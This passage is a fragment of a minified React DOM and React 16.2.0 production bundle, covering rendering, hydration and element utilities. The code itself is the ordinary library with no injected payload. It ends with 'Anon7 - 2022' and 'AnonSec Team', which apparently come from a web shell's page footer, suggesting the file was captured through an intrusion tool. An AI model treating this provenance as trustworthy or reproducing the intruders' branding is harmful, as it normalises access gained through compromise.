ti=Object.freeze({createElement:Xr,createTextNode:Jr,setInitialProperties:Yr,diffProperties:$r,updateProperties:Zr,diffHydratedProperties:Qr,diffHydratedText:ei,warnForUnmatchedText:function(){},warnForDeletedHydratableElement:function(){},warnForDeletedHydratableText:function(){},warnForInsertedHydratedElement:function(){},warnForInsertedHydratedText:function(){},restoreControlledState:function(e,t,n){switch(t){case"input":yr(e,n);t=n.name;if("radio"===n.type&&null!=t){for(n=e;n.parentNode;)n=n.parentNode;n=n.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]');for(t=0;t<n.length;t++){var o=n[t];if(o!==e&&o.form===e.form){var r=me(o);r||p("90");Ct(o);yr(o,r)}}}break;case"textarea":Or(e,n);break;case"select":null!=(t=n.value)&&wr(e,!!n.multiple,t,!1)}}});it.injectFiberControlledHostComponent(ti);var ni=null,oi=null;function ri(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType&&(8!==e.nodeType||" react-mount-point-unstable "!==e.nodeValue))}function ii(e){return!(!(e=e?9===e.nodeType?e.documentElement:e.firstChild:null)||1!==e.nodeType||!e.hasAttribute("data-reactroot"))}var ai=Jo({getRootHostContext:function(e){var t=e.nodeType;switch(t){case 9:case 11:e=(e=e.documentElement)?e.namespaceURI:Pr(null,"");break;default:e=Pr(e=(t=8===t?e.parentNode:e).namespaceURI||null,t=t.tagName)}return e},getChildHostContext:function(e,t){return Pr(e,t)},getPublicInstance:function(e){return e},prepareForCommit:function(){ni=Qt;var e=l();if(bn(e)){if("selectionStart"in e)var t={start:e.selectionStart,end:e.selectionEnd};else e:{var n=window.getSelection&&window.getSelection();if(n&&0!==n.rangeCount){t=n.anchorNode;var o=n.anchorOffset,r=n.focusNode;n=n.focusOffset;try{t.nodeType,r.nodeType}catch(e){t=null;break e}var i=0,a=-1,s=-1,c=0,u=0,d=e,h=null;t:for(;;){for(var p;;){d!==t||0!==o&&3!==d.nodeType||(a=i+o);d!==r||0!==n&&3!==d.nodeType||(s=i+n);3===d.nodeType&&(i+=d.nodeValue.length);if(null===(p=d.firstChild))break;h=d;d=p}for(;;){if(d===e)break t;h===t&&++c===o&&(a=i);h===r&&++u===n&&(s=i);if(null!==(p=d.nextSibling))break;h=(d=h).parentNode}d=p}t=-1===a||-1===s?null:{start:a,end:s}}else t=null}t=t||{start:0,end:0}}else t=null;oi={focusedElem:e,selectionRange:t};tn(!1)},resetAfterCommit:function(){var e=oi,t=l(),n=e.focusedElem,o=e.selectionRange;if(t!==n&&u(document.documentElement,n)){if(bn(n))if(t=o.start,void 0===(e=o.end)&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(window.getSelection){t=window.getSelection();var r=n[xe()].length;e=Math.min(o.start,r);o=void 0===o.end?e:Math.min(o.end,r);!t.extend&&e>o&&(r=o,o=e,e=r);r=vn(n,e);var i=vn(n,o);if(r&&i&&(1!==t.rangeCount||t.anchorNode!==r.node||t.anchorOffset!==r.offset||t.focusNode!==i.node||t.focusOffset!==i.offset)){var a=document.createRange();a.setStart(r.node,r.offset);t.removeAllRanges();e>o?(t.addRange(a),t.extend(i.node,i.offset)):(a.setEnd(i.node,i.offset),t.addRange(a))}}t=[];for(e=n;e=e.parentNode;)1===e.nodeType&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});d(n);for(n=0;n<t.length;n++)(e=t[n]).element.scrollLeft=e.left,e.element.scrollTop=e.top}oi=null;tn(ni);ni=null},createInstance:function(e,t,n,o,r){(e=Xr(e,t,n,o))[ue]=r;e[de]=t;return e},appendInitialChild:function(e,t){e.appendChild(t)},finalizeInitialChildren:function(e,t,n,o){Yr(e,t,n,o);e:{switch(t){case"button":case"input":case"select":case"textarea":e=!!n.autoFocus;break e}e=!1}return e},prepareUpdate:function(e,t,n,o,r){return $r(e,t,n,o,r)},shouldSetTextContent:function(e,t){return"textarea"===e||"string"==typeof t.children||"number"==typeof t.children||"object"==typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&"string"==typeof t.dangerouslySetInnerHTML.__html},shouldDeprioritizeSubtree:function(e,t){return!!t.hidden},createTextInstance:function(e,t,n,o){(e=Jr(e,t))[ue]=o;return e},now:Zo,mutation:{commitMount:function(e){e.focus()},commitUpdate:function(e,t,n,o,r){e[de]=r;Zr(e,t,n,o,r)},resetTextContent:function(e){e.textContent=""},commitTextUpdate:function(e,t,n){e.nodeValue=n},appendChild:function(e,t){e.appendChild(t)},appendChildToContainer:function(e,t){8===e.nodeType?e.parentNode.insertBefore(t,e):e.appendChild(t)},insertBefore:function(e,t,n){e.insertBefore(t,n)},insertInContainerBefore:function(e,t,n){8===e.nodeType?e.parentNode.insertBefore(t,n):e.insertBefore(t,n)},removeChild:function(e,t){e.removeChild(t)},removeChildFromContainer:function(e,t){8===e.nodeType?e.parentNode.removeChild(t):e.removeChild(t)}},hydration:{canHydrateInstance:function(e,t){return 1!==e.nodeType||t.toLowerCase()!==e.nodeName.toLowerCase()?null:e},canHydrateTextInstance:function(e,t){return""===t||3!==e.nodeType?null:e},getNextHydratableSibling:function(e){for(e=e.nextSibling;e&&1!==e.nodeType&&3!==e.nodeType;)e=e.nextSibling;return e},getFirstHydratableChild:function(e){for(e=e.firstChild;e&&1!==e.nodeType&&3!==e.nodeType;)e=e.nextSibling;return e},hydrateInstance:function(e,t,n,o,r,i){e[ue]=i;e[de]=n;return Qr(e,t,n,r,o)},hydrateTextInstance:function(e,t,n){e[ue]=n;return ei(e,t)},didNotMatchHydratedContainerTextInstance:function(){},didNotMatchHydratedTextInstance:function(){},didNotHydrateContainerInstance:function(){},didNotHydrateInstance:function(){},didNotFindHydratableContainerInstance:function(){},didNotFindHydratableContainerTextInstance:function(){},didNotFindHydratableInstance:function(){},didNotFindHydratableTextInstance:function(){}},scheduleDeferredCallback:Qo,cancelDeferredCallback:er,useSyncScheduling:!0});ct=ai.batchedUpdates;function si(e,t,n,o,r){ri(n)||p("200");var i=n._reactRootContainer;if(i)ai.updateContainer(t,i,e,r);else{if(!(o=o||ii(n)))for(i=void 0;i=n.lastChild;)n.removeChild(i);var a=ai.createContainer(n,o);i=n._reactRootContainer=a;ai.unbatchedUpdates(function(){ai.updateContainer(t,a,e,r)})}return ai.getPublicRootInstance(i)}function li(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;ri(t)||p("200");return Yo(e,t,null,n)}function ci(e,t){this._reactRootContainer=ai.createContainer(e,t)}ci.prototype.render=function(e,t){ai.updateContainer(e,this._reactRootContainer,null,t)};ci.prototype.unmount=function(e){ai.updateContainer(null,this._reactRootContainer,null,e)};var ui={createPortal:li,findDOMNode:function(e){if(null==e)return null;if(1===e.nodeType)return e;var t=e._reactInternalFiber;if(t)return ai.findHostInstance(t);"function"==typeof e.render?p("188"):p("213",Object.keys(e))},hydrate:function(e,t,n){return si(null,e,t,!0,n)},render:function(e,t,n){return si(null,e,t,!1,n)},unstable_renderSubtreeIntoContainer:function(e,t,n,o){(null==e||void 0===e._reactInternalFiber)&&p("38");return si(e,t,n,!1,o)},unmountComponentAtNode:function(e){ri(e)||p("40");return!!e._reactRootContainer&&(ai.unbatchedUpdates(function(){si(null,null,e,!1,function(){e._reactRootContainer=null})}),!0)},unstable_createPortal:li,unstable_batchedUpdates:dt,unstable_deferredUpdates:ai.deferredUpdates,flushSync:ai.flushSync,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{EventPluginHub:le,EventPluginRegistry:K,EventPropagators:we,ReactControlledComponent:lt,ReactDOMComponentTree:ge,ReactDOMEventListener:an}};ai.injectIntoDevTools({findFiberByHostInstance:he,bundleType:0,version:"16.2.0",rendererPackageName:"react-dom"});var di=Object.freeze({default:ui}),hi=di&&ui||di;e.exports=hi.default?hi.default:hi},function(e,t,n){"use strict";var o=n(146),r=n(186),i=n(145),a="function"==typeof Symbol&&Symbol.for,s=a?Symbol.for("react.element"):60103,l=a?Symbol.for("react.call"):60104,c=a?Symbol.for("react.return"):60105,u=a?Symbol.for("react.portal"):60106,d=a?Symbol.for("react.fragment"):60107,h="function"==typeof Symbol&&Symbol.iterator;function p(e){for(var t=arguments.length-1,n="Minified React error #"+e+"; visit http://facebook.github.io/react/docs/error-decoder.html?invariant="+e,o=0;o<t;o++)n+="&args[]="+encodeURIComponent(arguments[o+1]);(t=Error(n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings.")).name="Invariant Violation";t.framesToPop=1;throw t}var m={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}};function g(e,t,n){this.props=e;this.context=t;this.refs=r;this.updater=n||m}g.prototype.isReactComponent={};g.prototype.setState=function(e,t){"object"!=typeof e&&"function"!=typeof e&&null!=e&&p("85");this.updater.enqueueSetState(this,e,t,"setState")};g.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function f(e,t,n){this.props=e;this.context=t;this.refs=r;this.updater=n||m}function _(){}_.prototype=g.prototype;var v=f.prototype=new _;v.constructor=f;o(v,g.prototype);v.isPureReactComponent=!0;function b(e,t,n){this.props=e;this.context=t;this.refs=r;this.updater=n||m}var C=b.prototype=new _;C.constructor=b;o(C,g.prototype);C.unstable_isAsyncReactComponent=!0;C.render=function(){return this.props.children};var y={current:null},E=Object.prototype.hasOwnProperty,S={key:!0,ref:!0,__self:!0,__source:!0};function T(e,t,n){var o,r={},i=null,a=null;if(null!=t)for(o in void 0!==t.ref&&(a=t.ref),void 0!==t.key&&(i=""+t.key),t)E.call(t,o)&&!S.hasOwnProperty(o)&&(r[o]=t[o]);var l=arguments.length-2;if(1===l)r.children=n;else if(1<l){for(var c=Array(l),u=0;u<l;u++)c[u]=arguments[u+2];r.children=c}if(e&&e.defaultProps)for(o in l=e.defaultProps)void 0===r[o]&&(r[o]=l[o]);return{$$typeof:s,type:e,key:i,ref:a,props:r,_owner:y.current}}function w(e){return"object"==typeof e&&null!==e&&e.$$typeof===s}function k(e){var t={"=":"=0",":":"=2"};return"$"+(""+e).replace(/[=:]/g,function(e){return t[e]})}var x=/\/+/g,I=[];function O(e,t,n,o){if(I.length){var r=I.pop();r.result=e;r.keyPrefix=t;r.func=n;r.context=o;r.count=0;return r}return{result:e,keyPrefix:t,func:n,context:o,count:0}}function L(e){e.result=null;e.keyPrefix=null;e.func=null;e.context=null;e.count=0;10>I.length&&I.push(e)}function D(e,t,n,o){var r=typeof e;"undefined"!==r&&"boolean"!==r||(e=null);var i=!1;if(null===e)i=!0;else switch(r){case"string":case"number":i=!0;break;case"object":switch(e.$$typeof){case s:case l:case c:case u:i=!0}}if(i)return n(o,e,""===t?"."+R(e,0):t),1;i=0;t=""===t?".":t+":";if(Array.isArray(e))for(var a=0;a<e.length;a++){var d=t+R(r=e[a],a);i+=D(r,d,n,o)}else if(null===e||void 0===e?d=null:d="function"==typeof(d=h&&e[h]||e["@@iterator"])?d:null,"function"==typeof d)for(e=d.call(e),a=0;!(r=e.next()).done;)i+=D(r=r.value,d=t+R(r,a++),n,o);else"object"===r&&p("31","[object Object]"===(n=""+e)?"object with keys {"+Object.keys(e).join(", ")+"}":n,"");return i}function R(e,t){return"object"==typeof e&&null!==e&&null!=e.key?k(e.key):t.toString(36)}function P(e,t){e.func.call(e.context,t,e.count++)}function M(e,t,n){var o=e.result,r=e.keyPrefix;e=e.func.call(e.context,t,e.count++);Array.isArray(e)?A(e,o,n,i.thatReturnsArgument):null!=e&&(w(e)&&(t=r+(!e.key||t&&t.key===e.key?"":(""+e.key).replace(x,"$&/")+"/")+n,e={$$typeof:s,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}),o.push(e))}function A(e,t,n,o,r){var i="";null!=n&&(i=(""+n).replace(x,"$&/")+"/");t=O(t,i,o,r);null==e||D(e,"",M,t);L(t)}var B={Children:{map:function(e,t,n){if(null==e)return e;var o=[];A(e,o,null,t,n);return o},forEach:function(e,t,n){if(null==e)return e;t=O(null,null,t,n);null==e||D(e,"",P,t);L(t)},count:function(e){return null==e?0:D(e,"",i.thatReturnsNull,null)},toArray:function(e){var t=[];A(e,t,null,i.thatReturnsArgument);return t},only:function(e){w(e)||p("143");return e}},Component:g,PureComponent:f,unstable_AsyncComponent:b,Fragment:d,createElement:T,cloneElement:function(e,t,n){var r=o({},e.props),i=e.key,a=e.ref,l=e._owner;if(null!=t){void 0!==t.ref&&(a=t.ref,l=y.current);void 0!==t.key&&(i=""+t.key);if(e.type&&e.type.defaultProps)var c=e.type.defaultProps;for(u in t)E.call(t,u)&&!S.hasOwnProperty(u)&&(r[u]=void 0===t[u]&&void 0!==c?c[u]:t[u])}var u=arguments.length-2;if(1===u)r.children=n;else if(1<u){c=Array(u);for(var d=0;d<u;d++)c[d]=arguments[d+2];r.children=c}return{$$typeof:s,type:e.type,key:i,ref:a,props:r,_owner:l}},createFactory:function(e){var t=T.bind(null,e);t.type=e;return t},isValidElement:w,version:"16.2.0",__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{ReactCurrentOwner:y,assign:o}},N=Object.freeze({default:B}),F=N&&B||N;e.exports=F.default?F.default:F},function(e,t,n){"use strict";(function(e){var n="object"==typeof e&&e&&e.Object===Object&&e;t.a=n}).call(this,n(185))}]]);

Anon7 - 2022
AnonSec Team